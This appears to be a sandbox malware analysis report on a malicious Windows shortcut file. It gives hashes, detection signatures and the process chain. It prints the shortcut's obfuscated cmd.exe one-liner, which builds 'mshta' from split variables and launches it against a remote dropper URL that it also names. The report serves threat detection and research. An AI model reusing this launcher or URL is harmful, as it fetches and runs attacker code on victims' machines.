Analysis
- max time kernel
148s - max time network
135s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:36
Static task
static1
Behavioral task
behavioral1
Sample
DOC-477SCL.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-477SCL.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-477SCL.lnk
- Size 1KB
- Sample260804-khv7tsgb96
- SHA256 6e596016590d3d67cfa61974f105d3262d0da734c09823855c51daf108711348
- MD5 87b4cbe0a363a0d8190604b12ea4d3ba
- SHA1 15458c72e8518c4c8a427821b44949d43061c1d9
- SHA512 0d761bd2ffea29ec0d6449e85f33083469e1cb92a0eccc9cfa69fdd6d33bd4608044f9ee28ad29a16edcb73a7cbf57d7e12adb69f194b278c59a681abd241c2a
- TLSH T14431CB503FED0624F3F38F7398BB5B2085BBB9658E20CB2E0141450C1032A15E13AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4844 cmd.exe 2372 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4844 wrote to memory of 2372 4844 cmd.exe 90 PID 2372 wrote to memory of 4088 2372 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-477SCL.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4844 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set Ua=msh&&set QV=ta&&start "" !Ua!!QV! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4088
-
-